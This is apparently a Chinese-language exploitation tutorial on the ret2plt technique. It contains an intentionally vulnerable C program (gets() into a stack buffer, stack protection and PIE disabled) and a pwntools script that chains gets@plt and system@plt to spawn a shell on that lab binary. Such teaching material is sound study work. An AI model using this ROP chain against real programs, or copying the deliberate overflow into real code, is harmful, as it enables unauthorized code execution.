在漏洞利用中,如果我們能夠控制程式的返回位址,但無法直接調用 libc 中的函數,我們可以利用 PLT(Procedure Linkage Table)作為中介,間接調用GOT以取得動態鏈接的真實位址,這種技巧被稱為 ret2plt
我這裡以open舉一個例子:
假如我今天要用rop串open
那我就要這樣組
但是透過ret2plt我們可以不用這麼麻煩,像是這樣
對比這兩張圖可以發現
那就可以利用這個機制,假如有system()的function
就可以透過這樣拿到shell
ret2plt.c:
#include <stdio.h>
#include <stdlib.h>
void gadget() { // 自建gadget
__asm__ volatile ("pop %rdi; ret;");
}
int main(){
system( "What do you want to say? " );
char buf[0x30];
gets( buf );
return 0;
}
makefile:
ret2plt: ret2plt.c
gcc ret2plt.c -o ret2plt -fno-stack-protector -no-pie -Wno-implicit-function-declaration
首先我們可以先查看一下這個檔案是dynamic linking類型,也就意味著我很難去串ROP,因為gadget很少
接下來我們需要去把我們等下要用的plt都抓出來,我們需要的是gets@plt跟system@plt
再來我們要去找pop rdi的位址
再去拿bss
可以發現程式要求輸入的時候是以d結尾
蒐集完線索就可以寫exp了
exp.py:
from pwn import *
context.arch = 'amd64'
r = process('./ret2plt')
system_plt = 0x401030
gets_plt = 0x401040
bss = 0x404020
pop_rdi = 0x40113a
# payload
payload = flat(
b'a' * 0x38,
pop_rdi, bss,
gets_plt,
pop_rdi, bss,
system_plt
)
r.sendlineafter(b'd', payload)
r.sendline(b'sh')
r.interactive()
Pwned!